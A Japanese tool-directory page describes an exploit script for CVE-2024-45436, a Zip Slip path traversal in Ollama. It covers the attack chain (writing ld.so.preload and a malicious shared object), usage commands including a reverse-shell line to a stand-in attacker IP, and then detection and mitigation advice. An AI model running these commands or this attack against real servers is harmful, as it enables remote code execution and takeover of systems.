Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-45436 — CVE-2024-45436 のエクスプロイトスクリプト | Kitploit
ツール/GitHubGitHub/srcx404/cve-2024-45436
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubsrcx404/cve-2024-45436

CVE-2024-45436

CVE-2024-45436 のエクスプロイトスクリプト

リポジトリを見る
51年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Ollama CVE-2024-45436 エクスプロイト

Ollama ZIP トラバーサル脆弱性 (CVE-2024-45436) に対するクリーンで効率的なエクスプロイト実装です。 中国語ドキュメント:README_CN.md

脆弱性の説明

CVE-2024-45436 は、Ollama バージョン 0.1.47 未満におけるパストラバーサル脆弱性(別名「Zip Slip」)です。この脆弱性により、攻撃者は ZIP ファイル展開操作時のパス検証不備を悪用して、ファイルシステム上の任意の場所にファイルを書き込むことができます。

この欠陥は、モデルファイルを展開する Ollama の model.go ファイルにある extractFromZipFile 関数に存在します。ZIP ファイルにディレクトリトラバーサルシーケンス (../) を含むパスを持つエントリが含まれている場合、Ollama はこれらのファイルを意図されたディレクトリの外部に展開し、攻撃者が重要なシステムファイルを上書きする可能性があります。

エクスプロイトの仕組み

このエクスプロイトは、以下のアプローチで脆弱性を利用します。

  1. 任意のコマンド実行コードを含む悪意のある共有オブジェクトファイル (hook.so) を作成する
  2. パストラバーサルエントリを含む特別に細工された ZIP ファイルにパッケージ化する:
    • ../../../../../../../../../../etc/ld.so.preload - カスタム共有オブジェクトをプリロードするために使用
    • ../../../../../../../../../../tmp/hook.so - 悪意のある共有オブジェクト自体
  3. Ollama の blob API を介して ZIP ファイルをアップロードする
  4. アップロードした blob を参照するモデルを作成する
  5. Ollama に埋め込みを要求することで実行をトリガーする

正常に実行された場合、ペイロードは Ollama サービスと同じ権限で実行され、ルートとしてリモートコード実行が可能になる可能性があります。

必要条件

  • Python 3.6+
  • 必要な Python パッケージ:
    • requests
    • argparse
  • GCC(共有オブジェクトをコンパイルするため)
  • Linux 上で動作する脆弱な Ollama インスタンス(0.1.47 未満)

使用方法

root@kitploit:~
python exp.py <target_url> <command>

引数

  • target_url: 脆弱な Ollama インスタンスの URL(例:http://example.com:11434)
  • command: ターゲットシステム上で実行するコマンド

オプション

  • --no-cleanup: エクスプロイト後に一時ファイルを削除しない(デバッグに便利)

使用例

基本的な使用法:

root@kitploit:~
python exp.py http://target-server:11434 "id > /tmp/pwned"

リバースシェル:

root@kitploit:~
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"

免責事項

このツールは教育および許可されたセキュリティテスト目的でのみ提供されます。明示的な許可なくシステムに対して不正に使用することは違法であり、非倫理的です。作者は本ソフトウェアの誤用について一切の責任を負いません。

検出方法

組織は以下の方法で脆弱性の有無を検出できます。

  1. /api/version で Ollama のバージョンを確認する
  2. /etc/ld.so.preload や /tmp/hook.so に予期しないファイルがないか確認する
  3. 不審なモデル作成アクティビティを監視する

緩和策

  • Ollama をバージョン 0.1.47 以降に更新する
  • すぐに更新できない場合は、Ollama API エンドポイントへのネットワークアクセスを制限する
  • Ollama をルートではなく最小限の権限で実行する

技術詳細

この脆弱性は、Ollama の ZIP ファイル展開処理における不適切なパス検証を悪用します。API を介してモデルが読み込まれると、アプリケーションはファイルパスを適切にサニタイズせずに ZIP アーカイブからファイルを展開するため、ディレクトリトラバーサル攻撃が可能になります。

ld.so.preload ファイルは、Linux で他のすべてのライブラリより先にロードされる共有ライブラリを指定するために使用されます。このファイルに書き込むことで、攻撃者は自分の悪意のあるライブラリが新しいプロセスに読み込まれるようにし、プログラムの実行を効率的に乗っ取ることができます。

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。詳細については LICENSE ファイルを参照してください。

ツールをダウンロード